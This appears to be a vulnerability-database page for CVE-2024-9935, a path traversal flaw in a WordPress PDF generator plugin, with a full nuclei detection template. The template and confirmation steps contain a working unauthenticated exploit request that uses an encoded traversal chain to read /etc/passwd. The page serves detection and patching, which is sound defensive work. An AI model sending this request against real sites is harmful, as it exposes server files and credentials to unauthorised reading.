HexBrain

Browse / CVEs / CVE-2024-9935

CVE-2024-9935· RedefiningTheWeb / pdf-generator-addon-for-elementor-page-builder· CWE-22

PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Arbitrary File Download

highseverity
7.5CVSS score
7.6%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

Impact

Unauthenticated attackers can exploit path traversal to read arbitrary files on the server, potentially exposing sensitive configuration files, wp-config.php containing database credentials, and other critical system files.

Fix

Update PDF Generator Addon for Elementor Page Builder plugin to a version later than 1.7.5 that properly validates and sanitizes file paths in the rtw_pgaepb_dwnld_pdf function.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins/pdf-generator-addon-for-elementor-page-builder")
Send: GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
Positive when: regex('root:.*:0:0:', body) and contains(header, "application/pdf") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-9935 -u <target>

The full check
id: CVE-2024-9935

info:
  name: PDF Generator Addon for Elementor Page Builder <= 1.7.5 - Arbitrary File Download
  author: s4e-io
  severity: high
  description: |
    The PDF Generator Addon for Elementor Page Builder plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.7.5 via the rtw_pgaepb_dwnld_pdf() function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.
  impact: |
    Unauthenticated attackers can exploit path traversal to read arbitrary files on the server, potentially exposing sensitive configuration files, wp-config.php containing database credentials, and other critical system files.
  remediation: |
    Update PDF Generator Addon for Elementor Page Builder plugin to a version later than 1.7.5 that properly validates and sanitizes file paths in the rtw_pgaepb_dwnld_pdf function.
  reference:
    - https://github.com/RandomRobbieBF/CVE-2024-9935
    - https://plugins.trac.wordpress.org/browser/pdf-generator-addon-for-elementor-page-builder/trunk/public/class-pdf-generator-addon-for-elementor-page-builder-public.php#L133
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/36daf2af-1db3-4b35-8849-480212660b2f?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9935
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-9935
    cwe-id: CWE-22
    epss-score: 0.07551
    epss-percentile: 0.94565
  metadata:
    verified: true
    max-request: 2
    vendor: RedefiningTheWeb
    product: pdf-generator-addon-for-elementor-page-builder
    framework: wordpress
    fofa-query: body="wp-content/plugins/pdf-generator-addon-for-elementor-page-builder/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,lfi,pdf-generator,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/pdf-generator-addon-for-elementor-page-builder")'
        internal: true

  - raw:
      - |
        GET /elementor-84/?rtw_generate_pdf=true&rtw_pdf_file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, "application/pdf")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from